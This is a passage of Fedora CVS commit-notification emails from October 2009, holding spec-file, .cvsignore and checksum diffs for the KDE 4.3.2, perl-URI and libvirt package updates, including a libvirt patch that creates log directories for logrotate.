+51313b7654a381ad22c2c467129bc331  kde-l10n-zh_CN-4.3.2.tar.bz2
+ccf254b30c4286a7980aebf2e3b98cc1  kde-l10n-zh_TW-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:46:33 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:46:33 +0000 (UTC)
Subject: rpms/kdeadmin/F-12 .cvsignore, 1.67, 1.68 kdeadmin.spec, 1.148,
	1.149 sources, 1.68, 1.69
Message-ID: <20091006124633.B6F0C11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeadmin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29929

Modified Files:
	.cvsignore kdeadmin.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-12/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	1 Sep 2009 12:42:03 -0000	1.67
+++ .cvsignore	6 Oct 2009 12:46:33 -0000	1.68
@@ -1 +1 @@
-kdeadmin-4.3.1.tar.bz2
+kdeadmin-4.3.2.tar.bz2


Index: kdeadmin.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-12/kdeadmin.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- kdeadmin.spec	28 Aug 2009 12:34:20 -0000	1.148
+++ kdeadmin.spec	6 Oct 2009 12:46:33 -0000	1.149
@@ -6,7 +6,7 @@
 Name:           kdeadmin
 Summary:        K Desktop Environment - Administrative tools
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -159,6 +159,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeadmin/F-12/sources,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- sources	28 Aug 2009 12:34:20 -0000	1.68
+++ sources	6 Oct 2009 12:46:33 -0000	1.69
@@ -1 +1 @@
-e946d243d0e6e1fdbb24c732acca9c1e  kdeadmin-4.3.1.tar.bz2
+f547b55cf912f1437ebd2fd7e5059fe4  kdeadmin-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:47:04 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:47:04 +0000 (UTC)
Subject: rpms/kdeartwork/F-12 .cvsignore, 1.65, 1.66 kdeartwork.spec, 1.117, 
	1.118 sources, 1.66, 1.67
Message-ID: <20091006124704.87D7611C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeartwork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30117

Modified Files:
	.cvsignore kdeartwork.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-12/.cvsignore,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- .cvsignore	1 Sep 2009 12:47:21 -0000	1.65
+++ .cvsignore	6 Oct 2009 12:47:04 -0000	1.66
@@ -1 +1 @@
-kdeartwork-4.3.1.tar.bz2
+kdeartwork-4.3.2.tar.bz2


Index: kdeartwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-12/kdeartwork.spec,v
retrieving revision 1.117
retrieving revision 1.118
diff -u -p -r1.117 -r1.118
--- kdeartwork.spec	28 Sep 2009 08:29:29 -0000	1.117
+++ kdeartwork.spec	6 Oct 2009 12:47:04 -0000	1.118
@@ -1,6 +1,6 @@
 Name:           kdeartwork
-Version:        4.3.1
-Release:        2%{?dist}
+Version:        4.3.2
+Release:        1%{?dist}
 Summary:        Additional artwork for KDE
 
 License:        GPLv2
@@ -212,6 +212,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Mon Sep 28 2009 Than Ngo <than at redhat.com> - 4.3.1-2
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeartwork/F-12/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	28 Aug 2009 12:39:03 -0000	1.66
+++ sources	6 Oct 2009 12:47:04 -0000	1.67
@@ -1 +1 @@
-9dbb00b76968658a7337e839fa342230  kdeartwork-4.3.1.tar.bz2
+e4e51be6fe0eaf1290604884a64d28a3  kdeartwork-4.3.2.tar.bz2



From mmaslano at fedoraproject.org  Tue Oct  6 12:48:02 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Tue,  6 Oct 2009 12:48:02 +0000 (UTC)
Subject: rpms/perl-URI/devel .cvsignore, 1.7, 1.8 perl-URI.spec, 1.24,
	1.25 sources, 1.7, 1.8
Message-ID: <20091006124802.4523C11C00C1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-URI/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30570

Modified Files:
	.cvsignore perl-URI.spec sources 
Log Message:
* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.40-1
- update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-URI/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	20 Feb 2009 05:36:34 -0000	1.7
+++ .cvsignore	6 Oct 2009 12:48:02 -0000	1.8
@@ -1 +1 @@
-URI-1.37.tar.gz
+URI-1.40.tar.gz


Index: perl-URI.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-URI/devel/perl-URI.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- perl-URI.spec	26 Jul 2009 17:22:08 -0000	1.24
+++ perl-URI.spec	6 Oct 2009 12:48:02 -0000	1.25
@@ -1,6 +1,6 @@
 Name:           perl-URI
-Version:        1.37
-Release:        3%{?dist}
+Version:        1.40
+Release:        1%{?dist}
 Summary:        A Perl module implementing URI parsing and manipulation
 
 Group:          Development/Libraries
@@ -61,6 +61,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.40-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.37-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-URI/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	20 Feb 2009 05:36:34 -0000	1.7
+++ sources	6 Oct 2009 12:48:02 -0000	1.8
@@ -1 +1 @@
-b81b3610b78654e11c099f74a5247860  URI-1.37.tar.gz
+626cc85f1939a89981f82aae43497b53  URI-1.40.tar.gz



From markmc at fedoraproject.org  Tue Oct  6 12:48:58 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue,  6 Oct 2009 12:48:58 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt-logrotate-create-lxc-uml-dirs.patch, NONE,
	1.1 libvirt.spec, 1.187, 1.188
Message-ID: <20091006124858.5B63D11C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30989

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-logrotate-create-lxc-uml-dirs.patch 
Log Message:
* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-10
- Create /var/log/libvirt/{lxc,uml} dirs for logrotate
- Make libvirt-python dependon on libvirt-client
- Sync misc minor changes from upstream spec


libvirt-logrotate-create-lxc-uml-dirs.patch:
 Makefile.am |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE libvirt-logrotate-create-lxc-uml-dirs.patch ---
>From b7e3ac4f23befe67518b57e34691c301820a436c Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Tue, 6 Oct 2009 12:33:17 +0100
Subject: [PATCH] Create /var/log/libvirt/{lxc,uml} dirs

Otherwise logrotate barfs:

  error: error accessing /var/log/libvirt/uml: No such file or directory
  error: libvirtd:1 glob failed for /var/log/libvirt/uml/*.log
  error: found error in /var/log/libvirt/qemu/*.log /var/log/libvirt/uml/*.log /var/log/libvirt/lxc/*.log , skipping

* qemud/Makefile.am: always create /var/log/libvirt/{lxc,uml} when
  installing the logrotate conf; not ideal, but easier than making
  the logrotate conf depend on which drivers are enabled

Fedora-patch: libvirt-logrotate-create-lxc-uml-dirs.patch
---
 qemud/Makefile.am |    6 ++++--
 1 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/qemud/Makefile.am b/qemud/Makefile.am
index 3d143da..a7f4bdf 100644
--- a/qemud/Makefile.am
+++ b/qemud/Makefile.am
@@ -176,7 +176,7 @@ install-data-local: install-init install-data-sasl install-data-polkit \
 	test -e $(DESTDIR)$(sysconfdir)/libvirt/qemu/networks/autostart/default.xml || \
            ln -s ../default.xml \
 	    $(DESTDIR)$(sysconfdir)/libvirt/qemu/networks/autostart/default.xml
-	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt/qemu
+	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt
 	mkdir -p $(DESTDIR)$(localstatedir)/run/libvirt
 	mkdir -p $(DESTDIR)$(localstatedir)/lib/libvirt
 
@@ -184,7 +184,7 @@ uninstall-local:: uninstall-init uninstall-data-sasl install-data-polkit
 	rm -f $(DESTDIR)$(sysconfdir)/libvirt/qemu/networks/autostart/default.xml
 	rm -f $(DESTDIR)$(sysconfdir)/$(default_xml_dest)
 	rmdir $(DESTDIR)$(sysconfdir)/libvirt/qemu/networks/autostart || :
-	rmdir $(DESTDIR)$(localstatedir)/log/libvirt/qemu || :
+	rmdir $(DESTDIR)$(localstatedir)/log/libvirt || :
 	rmdir $(DESTDIR)$(localstatedir)/run/libvirt || :
 	rmdir $(DESTDIR)$(localstatedir)/lib/libvirt || :
 
@@ -240,6 +240,8 @@ libvirtd.logrotate: libvirtd.logrotate.in
 
 install-logrotate: libvirtd.logrotate
 	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt/qemu/
+	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt/lxc/
+	mkdir -p $(DESTDIR)$(localstatedir)/log/libvirt/uml/
 	mkdir -p $(DESTDIR)$(sysconfdir)/logrotate.d/
 	$(INSTALL_DATA) $< $(DESTDIR)$(sysconfdir)/logrotate.d/libvirtd
 
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.187
retrieving revision 1.188
diff -u -p -r1.187 -r1.188
--- libvirt.spec	6 Oct 2009 09:45:05 -0000	1.187
+++ libvirt.spec	6 Oct 2009 12:48:58 -0000	1.188
@@ -22,14 +22,14 @@
 %endif
 
 
-# Now set the defaults for all the important features, independant
+# Now set the defaults for all the important features, independent
 # of any particular OS
 
 # First the daemon itself
 %define with_libvirtd      0%{!?_without_libvirtd:%{server_drivers}}
 %define with_avahi         0%{!?_without_avahi:%{server_drivers}}
 
-# Then the hypervisor drivers
+# Then the hypervisor drivers that run on local host
 %define with_xen           0%{!?_without_xen:%{server_drivers}}
 %define with_xen_proxy     0%{!?_without_xen_proxy:%{server_drivers}}
 %define with_qemu          0%{!?_without_qemu:%{server_drivers}}
@@ -37,9 +37,12 @@
 %define with_lxc           0%{!?_without_lxc:%{server_drivers}}
 %define with_vbox          0%{!?_without_vbox:%{server_drivers}}
 %define with_uml           0%{!?_without_uml:%{server_drivers}}
+# XXX this shouldn't be here, but it mistakenly links into libvirtd
 %define with_one           0%{!?_without_one:%{server_drivers}}
-%define with_phyp          0%{!?_without_phyp:%{server_drivers}}
-%define with_esx           0%{!?_without_esx:%{server_drivers}}
+
+# Then the hypervisor drivers that talk a native remote protocol
+%define with_phyp          0%{!?_without_phyp:1}
+%define with_esx           0%{!?_without_esx:1}
 
 # Then the secondary host drivers
 %define with_network       0%{!?_without_network:%{server_drivers}}
@@ -69,10 +72,6 @@
 %define with_xen 0
 %endif
 
-# Numactl is not available on s390[x]
-%ifarch s390 s390x
-%define with_numactl 0
-%endif
 
 # RHEL doesn't ship OpenVZ, VBox, UML, OpenNebula, PowerHypervisor or ESX
 %if 0%{?rhel}
@@ -100,6 +99,7 @@
 %endif
 %define with_xen 0
 %endif
+
 # If Xen isn't turned on, we shouldn't build the xen proxy either
 %if ! %{with_xen}
 %define with_xen_proxy 0
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 9%{?dist}%{?extra_release}
+Release: 10%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -177,6 +177,7 @@ Patch07: libvirt-svirt-relabel-qcow2-bac
 
 # Change logrotate config to weekly (#526769)
 Patch08: libvirt-change-logrotate-config-to-weekly.patch
+Patch09: libvirt-logrotate-create-lxc-uml-dirs.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
@@ -337,6 +338,9 @@ BuildRequires: netcf-devel
 # Fedora build root suckage
 BuildRequires: gawk
 
+# Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
+BuildRequires: automake
+
 %description
 Libvirt is a C toolkit to interact with the virtualization capabilities
 of recent versions of Linux (and other OSes). The main package includes
@@ -378,7 +382,7 @@ the virtualization capabilities of recen
 %package python
 Summary: Python bindings for the libvirt library
 Group: Development/Libraries
-Requires: libvirt = %{version}-%{release}
+Requires: libvirt-client = %{version}-%{release}
 
 %description python
 The libvirt-python package contains a module that permits applications
@@ -398,8 +402,12 @@ of recent versions of Linux (and other O
 %patch06 -p1
 %patch07 -p1
 %patch08 -p1
+%patch09 -p1
 
 %build
+# Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
+automake
+
 %if ! %{with_xen}
 %define _without_xen --without-xen
 %endif
@@ -622,7 +630,7 @@ fi
 
 /sbin/chkconfig --add libvirtd
 if [ "$1" -ge "1" ]; then
-    /sbin/service libvirtd condrestart > /dev/null 2>&1
+	/sbin/service libvirtd condrestart > /dev/null 2>&1
 fi
 %endif
 
@@ -655,6 +663,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/libvirtd
 %config(noreplace) %{_sysconfdir}/libvirt/libvirtd.conf
 %config(noreplace) %{_sysconfdir}/logrotate.d/libvirtd
+%dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/qemu/
+%dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/lxc/
+%dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/uml/
 
 %if %{with_qemu}
 %config(noreplace) %{_sysconfdir}/libvirt/qemu.conf
@@ -712,13 +723,11 @@ fi
 %endif
 
 %dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/
-%if %{with_qemu}
-%dir %attr(0700, root, root) %{_localstatedir}/log/libvirt/qemu/
-%endif
 
 %if %{with_xen_proxy}
 %attr(4755, root, root) %{_libexecdir}/libvirt_proxy
 %endif
+
 %if %{with_lxc}
 %attr(0755, root, root) %{_libexecdir}/libvirt_lxc
 %endif
@@ -788,6 +797,11 @@ fi
 %endif
 
 %changelog
+* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-10
+- Create /var/log/libvirt/{lxc,uml} dirs for logrotate
+- Make libvirt-python dependon on libvirt-client
+- Sync misc minor changes from upstream spec
+
 * Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-9
 - Change logrotate config to weekly (#526769)
 



From ltinkl at fedoraproject.org  Tue Oct  6 12:49:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:49:20 +0000 (UTC)
Subject: rpms/kdebase/devel .cvsignore,1.94,1.95
Message-ID: <20091006124920.83CD811C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31039/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase/devel/.cvsignore,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- .cvsignore	4 Oct 2009 10:11:05 -0000	1.94
+++ .cvsignore	6 Oct 2009 12:49:20 -0000	1.95
@@ -1,2 +1 @@
-kdebase-4.3.1.tar.bz2
 kdebase-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:49:19 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:49:19 +0000 (UTC)
Subject: rpms/kdebase/F-10 .cvsignore, 1.84, 1.85 kdebase.spec, 1.370,
	1.371 sources, 1.112, 1.113 kdebase-4.3.2-konsolemenus.patch,
	1.1, NONE
Message-ID: <20091006124919.610E111C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31039/F-10

Modified Files:
	.cvsignore kdebase.spec sources 
Removed Files:
	kdebase-4.3.2-konsolemenus.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-10/.cvsignore,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- .cvsignore	1 Sep 2009 12:55:11 -0000	1.84
+++ .cvsignore	6 Oct 2009 12:49:18 -0000	1.85
@@ -1 +1 @@
-kdebase-4.3.1.tar.bz2
+kdebase-4.3.2.tar.bz2


Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-10/kdebase.spec,v
retrieving revision 1.370
retrieving revision 1.371
diff -u -p -r1.370 -r1.371
--- kdebase.spec	2 Sep 2009 11:46:18 -0000	1.370
+++ kdebase.spec	6 Oct 2009 12:49:18 -0000	1.371
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
-Version: 4.3.1
-Release: 2%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -14,7 +14,6 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 Patch0:   kdebase-4.1.80-nsplugins-paths.patch
 Patch1:   kdebase-4.1.70-konsole-session.patch
 Patch2:   kdebase-4.2.1-home-icon.patch
-Patch3:   kdebase-4.3.2-konsolemenus.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -22,6 +21,7 @@ Requires: eject
 
 Provides:  dolphin = 1.0.2-1
 Provides:  kdebase4 = %{version}-%{release}
+%{?_isa:Provides: kdebase4%{?_isa} = %{version}-%{release}}
 Obsoletes: dolphin < 1.0.2-1
 Obsoletes: d3lphin
 Obsoletes: kdebase4 < %{version}-%{release}
@@ -58,8 +58,11 @@ BuildRequires: pkgconfig
 BuildRequires: qimageblitz-devel
 # samba support
 BuildRequires: libsmbclient-devel
-BuildRequires: soprano-devel >= 2.0.97
-BuildRequires: strigi-devel >= 0.5.7
+BuildRequires: soprano-devel 
+BuildRequires: strigi-devel 
+%if 0%{?fedora}
+BuildRequires: webkitpart-devel
+%endif
 # needed?
 BuildRequires: xorg-x11-font-utils
 BuildRequires: xorg-x11-proto-devel
@@ -103,7 +106,6 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch0 -p1 -b .nsplugins-paths
 %patch1 -p1 -b .konsole-session
 %patch2 -p1 -b .home-icon
-%patch3 -p0 -b .konsolemenus
 
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -142,6 +144,18 @@ popd
 # konquerorsu only show in KDE
 echo 'OnlyShowIn=KDE;' >> %{buildroot}%{_kde4_datadir}/applications/kde4/konquerorsu.desktop
 
+# create/own some dirs 
+mkdir -p %{buildroot}%{_kde4_appsdir}/konqueror/{kpartplugins,icons,opensearch}
+
+HTML_DIR=$(kde4-config --expandvars --install html)
+if [ -d %{buildroot}${HTML_DIR} ]; then
+for lang_dir in %{buildroot}${HTML_DIR}/* ; do
+  if [ -d ${lang_dir} ]; then
+    lang=$(basename ${lang_dir})
+    echo "%lang(${lang}) ${HTML_DIR}/${lang}/*/" >> %{name}.lang
+  fi
+done
+fi
 
 
 %clean
@@ -172,7 +186,7 @@ fi
 %postun libs -p /sbin/ldconfig
 
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
 %{_kde4_bindir}/*
 %{_kde4_datadir}/applications/kde4/*.desktop
@@ -186,7 +200,6 @@ fi
 %{_kde4_datadir}/kde4/services/kded/*.desktop
 %{_kde4_datadir}/kde4/services/useragentstrings/
 %{_kde4_datadir}/kde4/servicetypes/*.desktop
-%{_kde4_docdir}/HTML/en/*
 %{_kde4_libdir}/kde4/*.so
 %exclude %{_kde4_libdir}/kde4/devel/
 %{_mandir}/man1/*
@@ -215,6 +228,18 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
+- BR: webkitpart-devel
+- fix Provides: kdebase4%%{?_isa} (not kdelibs)
+
+* Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
+- own %%_kde4_appsdir/konqueror/{kpartplugins,icons,opensearch}
+- %%lang'ify HTML docs
+- Provides: kdelibs4%%{?_isa} 
+
 * Wed Sep  2 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.3.1-2
 - fix context menus in Konsole (kdebug:186745)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-10/sources,v
retrieving revision 1.112
retrieving revision 1.113
diff -u -p -r1.112 -r1.113
--- sources	1 Sep 2009 12:55:11 -0000	1.112
+++ sources	6 Oct 2009 12:49:19 -0000	1.113
@@ -1 +1 @@
-10dae53739f1e8bd6f5f615443649e4f  kdebase-4.3.1.tar.bz2
+7d6b968d8d8dd3730522389dabbb23e2  kdebase-4.3.2.tar.bz2


--- kdebase-4.3.2-konsolemenus.patch DELETED ---



From ltinkl at fedoraproject.org  Tue Oct  6 12:49:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:49:20 +0000 (UTC)
Subject: rpms/kdebase/F-12 .cvsignore, 1.93, 1.94 kdebase.spec, 1.397,
	1.398 sources, 1.115, 1.116 kdebase-4.3.2-konsolemenus.patch,
	1.1, NONE
Message-ID: <20091006124920.5A9C911C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31039/F-12

Modified Files:
	.cvsignore kdebase.spec sources 
Removed Files:
	kdebase-4.3.2-konsolemenus.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-12/.cvsignore,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- .cvsignore	1 Sep 2009 12:55:12 -0000	1.93
+++ .cvsignore	6 Oct 2009 12:49:19 -0000	1.94
@@ -1 +1 @@
-kdebase-4.3.1.tar.bz2
+kdebase-4.3.2.tar.bz2


Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-12/kdebase.spec,v
retrieving revision 1.397
retrieving revision 1.398
diff -u -p -r1.397 -r1.398
--- kdebase.spec	4 Oct 2009 10:13:26 -0000	1.397
+++ kdebase.spec	6 Oct 2009 12:49:20 -0000	1.398
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
-Version: 4.3.1
-Release: 5%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -14,7 +14,6 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 Patch0:   kdebase-4.1.80-nsplugins-paths.patch
 Patch1:   kdebase-4.1.70-konsole-session.patch
 Patch2:   kdebase-4.2.1-home-icon.patch
-Patch3:   kdebase-4.3.2-konsolemenus.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -107,7 +106,6 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch0 -p1 -b .nsplugins-paths
 %patch1 -p1 -b .konsole-session
 %patch2 -p1 -b .home-icon
-%patch3 -p0 -b .konsolemenus
 
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -230,8 +228,8 @@ fi
 
 
 %changelog
-* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.1-5
-- rhel cleanup
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
 
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
 - BR: webkitpart-devel


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-12/sources,v
retrieving revision 1.115
retrieving revision 1.116
diff -u -p -r1.115 -r1.116
--- sources	28 Aug 2009 12:45:28 -0000	1.115
+++ sources	6 Oct 2009 12:49:20 -0000	1.116
@@ -1 +1 @@
-10dae53739f1e8bd6f5f615443649e4f  kdebase-4.3.1.tar.bz2
+7d6b968d8d8dd3730522389dabbb23e2  kdebase-4.3.2.tar.bz2


--- kdebase-4.3.2-konsolemenus.patch DELETED ---



From ltinkl at fedoraproject.org  Tue Oct  6 12:49:19 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:49:19 +0000 (UTC)
Subject: rpms/kdebase/F-11 .cvsignore, 1.89, 1.90 kdebase.spec, 1.380,
	1.381 sources, 1.112, 1.113 kdebase-4.3.2-konsolemenus.patch,
	1.1, NONE
Message-ID: <20091006124919.D5C1B11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31039/F-11

Modified Files:
	.cvsignore kdebase.spec sources 
Removed Files:
	kdebase-4.3.2-konsolemenus.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-11/.cvsignore,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- .cvsignore	1 Sep 2009 12:55:12 -0000	1.89
+++ .cvsignore	6 Oct 2009 12:49:19 -0000	1.90
@@ -1 +1 @@
-kdebase-4.3.1.tar.bz2
+kdebase-4.3.2.tar.bz2


Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-11/kdebase.spec,v
retrieving revision 1.380
retrieving revision 1.381
diff -u -p -r1.380 -r1.381
--- kdebase.spec	2 Sep 2009 11:46:18 -0000	1.380
+++ kdebase.spec	6 Oct 2009 12:49:19 -0000	1.381
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
-Version: 4.3.1
-Release: 2%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -14,7 +14,6 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 Patch0:   kdebase-4.1.80-nsplugins-paths.patch
 Patch1:   kdebase-4.1.70-konsole-session.patch
 Patch2:   kdebase-4.2.1-home-icon.patch
-Patch3:   kdebase-4.3.2-konsolemenus.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -22,6 +21,7 @@ Requires: eject
 
 Provides:  dolphin = 1.0.2-1
 Provides:  kdebase4 = %{version}-%{release}
+%{?_isa:Provides: kdebase4%{?_isa} = %{version}-%{release}}
 Obsoletes: dolphin < 1.0.2-1
 Obsoletes: d3lphin
 Obsoletes: kdebase4 < %{version}-%{release}
@@ -58,8 +58,11 @@ BuildRequires: pkgconfig
 BuildRequires: qimageblitz-devel
 # samba support
 BuildRequires: libsmbclient-devel
-BuildRequires: soprano-devel >= 2.0.97
-BuildRequires: strigi-devel >= 0.5.7
+BuildRequires: soprano-devel 
+BuildRequires: strigi-devel 
+%if 0%{?fedora}
+BuildRequires: webkitpart-devel
+%endif
 # needed?
 BuildRequires: xorg-x11-font-utils
 BuildRequires: xorg-x11-proto-devel
@@ -103,7 +106,6 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch0 -p1 -b .nsplugins-paths
 %patch1 -p1 -b .konsole-session
 %patch2 -p1 -b .home-icon
-%patch3 -p0 -b .konsolemenus
 
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -142,6 +144,18 @@ popd
 # konquerorsu only show in KDE
